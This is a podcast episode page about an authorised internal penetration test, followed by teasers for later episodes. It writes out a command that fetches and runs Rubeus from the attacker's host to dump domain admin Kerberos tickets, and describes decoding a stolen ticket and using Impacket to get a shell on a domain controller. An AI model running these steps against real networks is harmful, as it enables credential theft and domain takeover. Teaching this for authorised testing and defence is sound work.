7 Minute Security19 Marras 2020

7MS #442: Tales of Internal Network Pentest Pwnage - Part 23

Hey friends, I dare declare this to be my favorite tale of internal pentest pwnage so far. Why? Because the episode features:

Great blue team tools alerting our customer to a lot of the stuff we were doing
An EDR that we tried to beat up (but it beat us up instead)
SharpGPOAbuse which we talked about extensively last week
Separation of "everyday" accounts from privileged accounts
Multi-factor authentication bypass!
Some delicious findings in GPOs thanks to Ryan Hausec's great two part series (1 and 2). If you're not sure if you're vulnerable to MS14-025, check out this great article which discusses the vulnerability and its mitigation.

The final cherry on top was a new attack another pentester taught me. Use a combination of SharpCradle and Rubeus to steal logged in DA creds:

SharpCradle.exe -w https://your.kali.box.ip/Rubeus.exe dump /service:krbtgt /nowrap

This will give you a TGT (base64 encoded) for active logon sessions to the box. So if a DA is logged in, you can snag their TGT and then convert that into a .kirbi file on your Kali box with:

echo "LooooonnnnnggggggTicketStriiiiiiiiiiinnnngggg" | base64 -d > BobTheDomainAdmin.kirb

Convert the .kirbi file to a .ccache file with ticket converter. Then you can use Impacket tools to use/abuse that access to your heart's delight.

We ended up using Impacket to pop a shell on a DC and add a low-priv account to DA. The interesting thing is that the alert the blue team received essentially said "The DC itself added the user to the DA group" - the alert did not have attribution to the user whose ticket we stole! Good tip for future pentests!

Tämä jakso on lisätty Podme-palveluun avoimen RSS-syötteen kautta eikä se ole Podmen omaa tuotantoa. Siksi jakso saattaa sisältää mainontaa.

Jaksot(744)

7MS #744: Using n8n to Automate the Security Dog Food

Hey friends! Today I'm mashing two of our mini-series — eating the security dog food and my new obsession with n8n — into one big automation sandwich. I'll walk you through how Claude and a bunch of J...

17 Loka 26min

7MS #743: Eating the Security Dog Food - Part 9

Hey friends, it has been a long time since we talked about eating our own security dog food. However, I couldn't be more excited about some big ways we've moved the 7MinSec security program forward, ...

9 Loka 25min

7MS #742: Baby's First n8n

Hey friends! I've got some personal and work travel this week, so I'm skipping the tangents (mostly) and jumping straight into something I'm nerdily excited about: Baby's First n8n. If you're not fami...

2 Loka 26min

7MS #741: Tales of Pentest Pwnage - Part 91

Hey friends! Today's tale of pentest pwnage is brought to you by four hours of sleep, a large mint hot cocoa, and unhealthy levels of giggity. There's a very good reason for all three, but you'll have...

25 Syys 36min

7MS #740: Tales of Pentest Pwnage - Part 90

Hey friends! We've been on a bit of a Tales of Pentest Pwnage bender lately, so let's keep it rolling with Part 90. (And Mom, relax — this is not one pentest story chopped into 90 parts.) Today is les...

18 Syys 33min

7MS #739: Tales of Pentest Pwnage – Part 89

Hey friends! Today is a tale of pentest pwnage episode, and this one features a path to escalation I have never seen before – one I could only find few references on the entire Internet. It happened c...

11 Syys 17min

7MS #738: Baby's First ProjectDiscovery Neo

Hey friends! Today I'm talking about Baby's First Neo — and to be crystal clear, I don't mean Keanu, and I don't mean the R&B guy with the hat. I mean the AI-powered pentest assistant from our pals at...

4 Syys 29min

7MS #737: Tales of Pentest Pwnage – Part 88

Hello friends! Today's tale of pentest pwnage isn't a start-to-finish march to DA – it's me finally emptying out the backlog of "gosh, I've got to share this next time" internal network tips that have...

28 Elo 33min